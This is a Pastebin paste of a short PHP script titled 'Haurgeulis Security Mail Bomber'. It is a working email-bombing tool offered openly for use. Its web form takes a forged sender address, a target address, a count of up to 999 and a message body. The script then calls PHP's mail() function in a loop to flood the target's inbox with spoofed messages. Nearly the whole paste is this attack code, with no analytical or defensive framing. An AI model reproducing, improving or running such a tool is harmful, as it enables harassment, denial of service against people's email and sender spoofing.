Advertisement
MrHaurgeulisX196

Mail Boomber Haurgeulis Security

Jun 5th, 2014
797
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.13 KB | None | 0 0
  1.  
  2.  
  3. <?php
  4. print "<title>Email Bomber</title>";
  5. print "<body text='red' bgcolor='#000000'>";
  6. print "<center>";
  7. print "<b>Haurgeulis Security Mail Bomber</b>";
  8. print "<form action=".$_SERVER['PHP_SELF']." method='post'>";
  9. print "From:<br>";
  10. print "<input type='text' name='from' size='30' value='[email protected]'><br>";
  11. print "To:<br>";
  12. print "<input type='text' name='to' size='30' value='[email protected]'><br>";
  13. print "Amount:<br>";
  14. print "<input type='text' name='amount' size='3' maxlength='3' value='100'><br>";
  15. print "Subject:<br>";
  16. print "<input type='text' name='subject' size='30'><br>";
  17. print "Body (html format):<br>";
  18. print "<textarea name='body' rows='8' cols='35'></textarea><br><br>";
  19. print "<input type='submit' name='submit' value='submit'><br>";
  20. print "</form>";
  21.  
  22. print "<br>";
  23. if (isset($_POST['submit']))
  24. {
  25. echo " ";
  26. $mail_from=$_POST["from"];
  27. $mail_to=$_POST["to"];
  28. $times = $_REQUEST['amount'];
  29. if(!is_numeric($times)) {echo "Invalid value for 'Amount'.<br><a href='javascript:history.go(-1)'>back</a>";exit;}
  30. $mail_subject=$_POST["subject"];
  31. $mail_body=$_POST["body"];
  32. $mail_headers=implode("\n",array("From: $mail_from","Subject: $mail_subject","Return-Path: $mail_from","MIME-Version: 1.0?","X-Priority: 3","Content-Type: text/html" ));
  33. //header("Content-Type: text/plain");
  34. $count = 1;
  35. while($count <= $times) {
  36. $status=mail($mail_to,$mail_subject,$mail_body,$mail_headers);
  37. ++$count;
  38. }
  39. if($status)
  40. {
  41. echo "<b>Sent !<b><br><br>";
  42. }
  43. else
  44. {
  45. echo "Failed<br><br>";
  46. }
  47.  
  48. //exit;
  49. }
  50. //include("xvk98.php");
  51. print "</center></body>";
  52. //fuajuar
  53.  
  54.  
  55. ?>
  56. <br>
  57. <br>
  58. <br>
  59. <br>
  60. <br>
  61. <center><?php
  62.  
  63. ?></center>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement